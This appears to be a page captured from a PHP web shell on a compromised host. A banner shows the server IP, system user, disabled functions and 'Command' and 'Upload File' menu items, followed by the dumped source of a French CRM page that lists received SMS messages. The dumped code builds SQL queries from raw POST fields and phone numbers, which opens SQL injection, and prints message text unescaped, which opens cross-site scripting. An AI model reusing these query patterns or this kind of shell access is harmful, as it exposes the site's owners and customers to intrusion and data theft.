|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/python/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require __DIR__ . '/vendor_sms_recu/autoload.php';
include 'includes_sms_recu/ovh.php';
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$Admin_ID = $_SESSION['MCPRO']['admin'];
// $client = dbi_fetch_row( dbi_query("SELECT * FROM contact where contact_email = '".$inbox['data'][0]['from']['address']."'") );
// echo '<pred>';
// print_r($client);
// echo '</pre>';
function selection_suivi ( $name='') {
$str='<select class="form-control select2" style="width: 100%;" name="'.$name.'" id="'.$name.'">';
$suivi = dbi_query("SELECT suivi_intitule, suivi_id
FROM suivi
WHERE `suivi_client` = '1' ORDER BY suivi_ordre") ;
while ($a = dbi_fetch_row($suivi))
{
$str.='<option value="'.$a['suivi_id'].'">'.$a['suivi_intitule'].'</option>';
$str.='<option value="'.$a['suivi_id'].'"'.($a['suivi_id']==28?' selected="selected"':'').'>'.$a['suivi_intitule'].'</option>';
}
$str.='</select>';
return $str;
}
function selection_biais ($suivi_biais=0, $name='') {
$str='<select name="'.$name.'">';
$suivi = dbi_query("SELECT suivi_biais_intitule, suivi_biais_id FROM suivi_biais ORDER BY suivi_biais_ordre") ;
while ($a = dbi_fetch_row($suivi))
{
$str.='<option value="'.$a['suivi_biais_id'].'"'.($a['suivi_biais_id']==$suivi_biais?' selected="selected"':'').'>'.$a['suivi_biais_intitule'].'</option>';
}
$str.='</select>';
return $str;
}
function selection_biais_suiviPP2 ($name='',$suivi_biais=0 , $idd=0) {
$str='<select class="form-control select2" required style="width: 100%;" name="'.$name.'" id="'.$name.'">';
// $str.='<option value="" selected > ----- choisir Action ---- </option>';
// $suivi = dbi_query("SELECT suivi_biais_intitule, suivi_biais_id FROM suivi_biais WHERE suivi_parentt > 0 AND suivi_parentt IN ( SELECT suivi_biais_id FROM suivi_biais ) ORDER BY ordre") ;
$suivi = dbi_query("SELECT suivi_biais_intitule, suivi_biais_id FROM suivi_biais where suivi_parentt = 28 ORDER BY ordre") ;
while ($a = dbi_fetch_row($suivi))
{
$str.='<option value="'.$a['suivi_biais_id'].'"'.($a['suivi_biais_id']==$suivi_biais?' selected="selected"':'').'>'.$a['suivi_biais_intitule'].'</option>';
}
$str.='</select>';
return $str;
}
// if(!empty($_POST))
// {
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// exit() ;
// }
/*
function getPostDateH ()
{
return date("Y-m-d H:i:s");
}
*/
if(isset($_POST['suivi_biais_id']) && $_POST['suivi_biais_id'] > 0 ){
$Admin_ID = $_POST['admin_id'] ;
$suivi_id = $_POST['suivi_id'] ;
$suivi = dbi_fetch_row(dbi_query("SELECT * FROM suivi_biais WHERE suivi_biais_id = '".$_POST['suivi_biais_id']."' ")) ;
$suivi_parentt = $suivi['suivi_parentt'] ;
$suivipar = dbi_fetch_row(dbi_query("SELECT * FROM test_suivi WHERE suivi_id = '".$suivi_parentt."' AND client_id = '".$_POST['client_id']."' ") );
if(count($suivipar) > 0 )
{
$suivi_parent_id = $suivipar['client_suivi_id'];
}
else
{
$date = date("Y-m-d H:i:s");
dbi_query("INSERT INTO test_suivi (client_id, suivi_date, suivi_id,suivi_parent_id,client_suivi_clos,Admin_ID)
VALUES ('".$_POST['client_id']."', '$date', '".$suivi_parentt."','0','0','".$Admin_ID."')");
$suivi_parent_id = $conn->insert_id ;
}
$date = date("Y-m-d H:i:s");
$date_control = date("Ymd");
$today = date("Y-m-d H:i:s");
$suivi_annotation = mysqli_real_escape_string($conn, $_POST['suivi_annotation']);
dbi_query("INSERT INTO test_suivi
(client_id, suivi_date, suivi_id,suivi_biais_id, suivi_parent_id, annotation,Admin_ID, inter_id, suivi_programme, client_suivi_clos,date_control,today)
VALUES ('".$_POST['client_id']."', '$date', '".$suivi_id ."','".$_POST['suivi_biais_id']."', '".$suivi_parent_id."', '".nl2br($suivi_annotation)."', '".$Admin_ID."', '".$_POST['salarie_id']."', '1','0', '".$date_control."', '".$today."')");
}
$date_control = date("Ymd");
$today = date("Y-m-d H:i:s");
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Enregistrer le titre de la page --><title> LogMCPRO | </title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- overlayScrollbars -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- DataTables -->
<link rel="stylesheet" href="../../plugins/datatables-bs4/css/dataTables.bootstrap4.css">
<!-- Theme style -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<style>
.myCollapse {
display: none;
}
.myCollapse.in {
display: block;
}
.modal-header {
padding: 15px;
border-bottom: 1px solid #e5e5e5;
}
.modal-header {
background: #226faa;
background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
border-radius: 6px;
color: #fff;
padding: 18px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
border-color: transparent;
}
.modal-header .close {
margin-top: -3px;
font-size: 24px;
font-weight: 400;
color: #fff;
opacity: .9;
width: 28px;
height: 28px;
padding-bottom: 0;
padding-left: 1px;
}
button.close {
padding: 0;
cursor: pointer;
background: 0 0;
border: 0;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
}
</style>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<!-- BARRE DE NAVIGATION -->
<!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<div class="content-wrapper">
<!-- TITRE DE LA PAGE PRINCIPALE A PLACE ENTRE LES BALISES H1 & ARBORESCENCE SUR LA DROITE-->
<section class="content-header">
<div class="container-fluid">
<div class="row">
<div class="col-sm-9">
</div>
<div class="col-sm-3">
<ol class="breadcrumb float-sm-right">
</ol>
</div>
</div>
</div><!-- /.container-fluid -->
</section>
<!-- FIN DU TITRE DE LA PAGE PRINCIPALE A PLACE ENTRE LES BALISES H1 & ARBORESCENCE SUR LA DROITE-->
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-md-3">
<a href="compose.html" class="btn btn-primary btn-block mb-3"> <i class="far fa-envelope"></i> Nouveau Courrier</a>
<div class="card">
<div class="card-body p-0">
<ul class="nav nav-pills flex-column">
<li class="nav-item active">
<a href="index.php" class="nav-link">
<i class="fas fa-inbox"></i> Boite de réception
<span class="badge bg-primary float-right">12</span>
</a>
</li>
<li class="nav-item">
<a href="#" class="nav-link">
<i class="far fa-envelope"></i> Eléments envoyés
</a>
</li>
<li class="nav-item">
<a href="#" class="nav-link">
<i class="far fa-trash-alt"></i> Eléments supprimés
</a>
</li>
</ul>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
<!-- /.card -->
</div>
<div class="col-9">
<div class="card">
<div class="card-header">
<div class="row">
<div class="col-sm-11"><h3 class="card-title"> <i class="nav-icon fas fa-id-card"></i> SMS reçu </h3> </div>
<div class="col-sm-1"></div>
</div>
</div>
<!-- /.card-header -->
<div class="card-body">
<table id="example1" class="table table-hover table-striped">
<thead>
<tr>
<!-- /.Table Client - Champs client_nom -->
<th>Expediteur</th> <!-- /.Table Client - Champs client_adr1 -->
<th>message</th> <!-- /.Table Client - Champs client_cp -->
<th>date/heure</th> <!-- /.Table Client - Champs client_ville -->
<th>Suivi</th>
<th>R</th>
<th>action</th>
</tr>
</thead>
<tbody>
<?php
$i = 1 ;
// $a = dbi_query("SELECT * FROM prospect ") ;
// $a= dbi_query("SELECT * FROM contacts_2") ;
// while( $contact = dbi_fetch_row($a))
// {
// $replaced = str_replace(' ', '',$contact['tel1']);
// $replaced = str_replace('.', '',$replaced);
// echo "===> ".$contact['tel1']."===>".$replaced."<br/>" ;
// }
foreach ($messagesDetails as $messagesDetail) {
// echo "<pre>" ;
// print_r($messagesDetail) ;
// echo "</pre>" ;
// echo "==>".$messagesDetail['sender']."<br/>" ;
list($id_sms_recu) = dbi_fetch_row(dbi_query(" SELECT id_sms_recu FROM `sms_recu` WHERE `id` = ".$messagesDetail['id'])) ;
// echo "====> $id_sms_recu <br/>" ;
if($id_sms_recu == "")
{
dbi_query("INSERT INTO `sms_recu` (`id_sms_recu`, `id`, `message`, `sender`, `date_recu`) VALUES (NULL, '".$messagesDetail['id']."', '".$messagesDetail['message']."', '".$messagesDetail['sender']."', '".$messagesDetail['creationDatetime']."')") ;
}
$sender = str_replace('+33', '0',$messagesDetail['sender']);
// echo "ddd==>$sender <br/>" ;
list($client_nom)= dbi_fetch_row(dbi_query("SELECT client_nom FROM contact con , client c where contact_tele1 = $sender and c.client_id = con.client_id ")) ;
echo "
<tr>
<td>" . $client_nom . "</td>
<td>" . (strlen($messagesDetail['message']) < 3 ? $messagesDetail['message'] : ($messagesDetail['message']) ) . "</td>
<td>" . $messagesDetail['creationDatetime'] . "</td>";
?>
<td>
<?php ?>
<div class="modal fade" id="myModale<?php echo $i;?>">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="card-title"><b><i class='far fa-clock'> Ajouter Un Suivi</i></b></h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="card-body">
<form action="" method="POST" id="my_form">
<div class="form-row">
<div class="form-group col-md-6"><!-- Liste déroulante jour -->
<label>Type de suivi </label>
<?php echo selection_suivi( 'suivi_id') ?>
</div>
<div class="form-group col-md-6"><!-- Liste déroulante jour -->
<label>Action </label>
<?php echo selection_biais_suiviPP2( 'suivi_biais_id') ?>
</div>
<div class="form-group col-md-6"><!-- Liste déroulante jour -->
<label>Client concerné </label>
<select class="form-control select2" style="width: 100%;" name="client_id" id="client_id">
<?php
list($client_id)= dbi_fetch_row(dbi_query("SELECT c.client_id FROM contact con , client c where contact_tele1 = $sender and c.client_id = con.client_id ")) ;
$req =dbi_query("SELECT * FROM client WHERE client_statut = '1' ") ;
while( $sal=dbi_fetch_row($req)) { ?>
<option value="<?php echo $sal['client_id'] ; ?>" <?php if( $sal['client_id']== $client_id) echo "SELECTED" ; ?>><?php echo $sal['client_nom']; ?></option>
<?php } ?>
</select>
</div>
<div class="form-group col-md-6"><!-- Liste déroulante jour -->
<label>Salarié concerné </label>
<select class="form-control select2" style="width: 100%;" name="salarie_id" id="salarie_id">
<option value="0">--- Aucun salarié --- </option>
<?php
$req =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ") ;
while( $sal=dbi_fetch_row($req)) { ?>
<option value="<?php echo $sal['salarie_id'] ; ?>" ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
<?php } ?>
</select>
</div>
<div class="form-group col-md-6"><!-- Liste déroulante jour -->
<label>Administratif </label>
<select class="form-control select" style="width: 100%;" id="admin_id" name="admin_id" >
<?php
$etab=dbi_query("SELECT * FROM users where etat = '1' ");
while($et=dbi_fetch_row($etab)){
?>
<option value="<?php echo $et['Admin_ID'];?>" ><?php echo $et['user_nom']." ".$et['user_prenom']?></option>
<?php } ?>
</select>
</div>
<div class="form-group col-md-4">
<label>Date </label>
<div class="input-group">
<div class="input-group-prepend"> <span class="input-group-text"><i class="far fa-calendar-alt"></i></span></div>
<input type="date" class="form-control" id="date" name="date" placeholder="jj/mm/aaaa" value='<?php echo date("Y-m-d");?>' required="">
</div>
</div>
<div class="form-group col-md-2">
<label for="inputAddresse">Heure</label>
<input type="time" id="heure" min="05:00" max="22:00" class="form-control" name="heure" value="<?php echo date("H:i");?>" required="">
</div>
<div class="form-group col-md-12">
<label for="inputAddresse">Désignation</label>
<textarea class="textarea" placeholder="Placez du texte ici" style="width: 100%; height: 400px; font-size: 16px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;" name="suivi_annotation" >
<?php
// $str = strip_tags($messagesDetail['message']);
// $str = addslashes(trim($str));
$str = $messagesDetail['message'];
echo $str;
?>
</textarea>
</div>
</div>
</div>
</div>
<div class="modal-footer justify-content-between">
<button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
<button type="submit" name="nouvelle_action_suivi" class="btn btn-primary" >Ajouter action</button>
</form>
</div>
</div>
</div>
</div>
<?php ?>
<a data-toggle="modal" href="#myModale<?php echo $i;?>" class="btn btn-info "> suivi </a>
</td>
<?php
echo '<td>' . '<a class="btn btn-info " href="#myModal" id="custId" data-toggle="modal" data-id="'.$messagesDetail['sender'].'"> Répondre </a>'. "</td>
<td scope='row'><a class='btn btn-primary btn-small btn-danger' href='includes_sms_recu/deletion.php?id=" . $messagesDetail['id'] . "' onClick=\"javascript:return confirm('êtes-vous sûr de vouloir supprimer ce sms ?');\">Supprimer</a></td>
</tr>";
++$i;
}
?>
</tbody>
</table>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
<!-- /.content -->
</div>
<!-- NE PAS TOUCHER AU DESSUS DESSOUS -->
<!-- DEBUT DU PIED DE PAGE -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2019 MCPRO</strong>
</footer>
<!-- FIN DU PIED DE PAGE -->
<!-- NE PAS TOUCHER CI-DESSOUS -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script type="text/javascript">
$(document).ready(function(){
// $("#my_form").on("submit", function () {
// var hvalue = $('.suivi_annotation').text();
// $(this).append("<input type='hidden' name='suivi_annotation' value=' " + hvalue.trim() + " '/>");
// });
$("#suivi_id").on('change',function(){
var suivi_id = $(this).val();
if(suivi_id > 0){
$.ajax({
type:'POST',
url: 'ajaxmailsuivi.php',
data:'suivi_id='+suivi_id,
success:function(html){
$("#suivi_biais_id").html(html);
}
});
}
});
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'repondre_sms.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
});
});
</script>
</body>
</html>